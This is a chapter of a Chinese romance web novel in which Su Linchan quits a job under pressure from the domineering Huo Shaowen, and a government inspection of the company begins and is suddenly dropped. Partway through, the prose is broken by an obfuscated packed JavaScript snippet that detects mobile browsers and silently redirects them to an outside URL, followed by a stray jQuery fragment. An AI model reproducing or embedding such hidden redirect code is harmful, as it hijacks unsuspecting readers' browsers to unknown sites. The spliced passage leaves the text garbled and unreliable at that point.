“不是待遇的问题，李总您给出的条件已经很优厚了。”
苏林婵摇摇头，语气诚恳：“是我个人的一些原因……很突然，也很抱歉在这个时候提出。非常感谢李总的赏识和这两天的指导，但我恐怕无法胜任这份工作了。”
她说得含糊，但态度坚决。
李总还想再劝：“苏小姐，你再考虑考虑！是不是霍氏那边……给你压力了？”
他压低声音，带着试探。
昨天茶室的偶遇，他并非毫无察觉。
苏林婵心中一动，脸上却露出更加为难的神色，重复道：“真的很抱歉，李总。是我的个人决定，与任何人无关。为了避免给公司带来不必要的麻烦，我还是……离开比较好。”
她将“麻烦”二字咬得很轻，却让李总瞬间联想到了很多。
霍绍闻在业内的作风，他多少有所耳闻。
昨天霍绍闻看苏林婵那眼神，绝非寻常。
难道……
李总脸色变幻，最终还是叹了口气。
他虽然惜才，但也不想为了一个尚未正式入职的员工，去招惹霍绍闻那头猛虎。
苏林婵话里话外的意思，已经很明显了。
“既然苏小姐去意已决，那我也不强留了。”
李总语气有些遗憾，但还是保持了风度：“希望以后还有合作的机会。手续方面，我让人事尽快帮你办理。”
“谢谢您理解。”
苏林婵再次道谢，心中并无多少波澜。
她回到临时给她使用的工位，开始收拾自己寥寥无几的私人物品。
刚将东西收进一个纸袋，就听到外面办公区突然传来一阵骚动。
“请问李成栋总经理在吗？”
一个严肃的男声响起。
“我们是市工商局稽查大队的，接到群众匿名举报，反映贵公司在某些项目招标中存在违规操作、材料**等问题。这是我们的证件和相关文件，请配合调查。”
工商局？匿名举报？违规操作？
这几个词像**一样，在原本平静的办公区炸开！
员工们面面相觑，神色惊慌。
李总闻声急匆匆从办公室赶出来，脸上满是惊愕。
“各位同志，我是李成栋，这……这是怎么回事？我们公司一向合法经营，是不是有什么误会？”
李总强自镇定地上前交涉。
为首的稽查人员面无表情，出示了一摞盖着红章的文件：“是不是误会，调查了才知道。请李总和我们相关人员，带上近一年所有参与招标项目的原始文件，到会议室配合问询。其他员工请暂时留在工位，不要随意走动。”
语气公事公办，不容置疑。
李总的脸色瞬间变得煞白，额头上渗出冷汗。
他一边指挥着核心人员去取资料，一边努力维持着笑容，试图解释什么，但显然效果甚微。
整个公司顿时陷入一片兵荒马乱之中。
苏林婵站在自己工位旁，冷眼看着这一幕。
时机竟如此恰到好处。
昨天霍绍闻才用启明科技的存亡威胁她辞职，今天，调查就来了。
这根本不是巧合。
是他做的。
甚至可能都不需要他亲自出面，只需一个暗示，自然有人会过来，将事情办得干净利落。
苏林婵的心底一片冰凉。
果然，他还是那个霍绍闻。
睚眦必报，掌控欲强到令人发指。
但事情的发展却出乎了她的预料。
就在稽查进行到一半，几名工作人员正翻阅着一摞厚厚的投标文件时，那位为首的负责人手机突然响了。
他看了一眼来电显示，神色明显一凛，对旁边人做了个手势，拿着手机快步走到了会议室外。
走廊里隐约传来他压低声音的应答：“是……是，明白……好的，立刻处理。”
通话时间很短。
当他再次推门进来时，脸上的严肃和公事公办已经消失了大半。
他径直走向还在焦头烂额整理补充材料的李总。
“李总。”
负责人开口，声音比刚才缓和了许多：“经过我们初步核查，关于贵公司的这次匿名举报，可能存在一些误会。”
“误会？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279971|198348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>李总愣住了，简直不敢相信自己的耳朵。
刚才还一副要彻查到底的架势，怎么转眼就成了误会？
“是的。”
负责人点点头：“我们也是依法办事，接到线索必须核实，但现在看来，可能是有心人士的恶意中伤。给贵公司带来的不便和困扰，我们表示歉意。”
他身后其他稽查人员的表情也有些古怪，但都默契地开始收拾摊开在桌上的文件，动作迅速。
“这……这就……结束了？”
李总还有些反应不过来。
“是的，李总，调查暂时到此为止。相关情况我们会向上级和举报方反馈。后续如果还有需要核实的地方，我们再联系。”
负责人公式化地说完，伸出手：“打扰了。”
李总连忙握住，连声道：“不不不，配合调查是我们的义务。感谢各位同志明察秋毫，还我们公司清白！”
一场突如其来的风暴，就这样在众目睽睽之下，以一种接近滑稽的方式，戛然而止，云收雨歇。
稽查人员迅速撤离，留下一屋子惊魂未定的员工，以及一个兀自摸不着头脑又暗自庆幸的李总。
只有苏林婵，站在人群边缘，看着那队人马消失在电梯口，心中一片冰凉。
是霍绍闻。
苏林婵不愿再想，收拾好自己的东西，在李总复杂难言的目光注视下，平静地离开了启明科技。
刚走出大楼，手机震动了一下。
她拿出来，是一条短信。
【别让我再看到你去别的公司。】
苏林婵盯着屏幕上那行字，指尖微微发凉。
果然是他。
他在最后一刻，收了手。
他根本就没想真的毁掉启明科技。
或者说，毁掉启明科技对他而言易如反掌，但那不是他的目的。
他的目的，只是警告。
他在她听话辞职后，停止了进一步的行动。
看来，她在他心里，还留有余地。
但无论如何，这至少意味着，她在他那里，还有周旋的余地，还没有到山穷水尽的地步。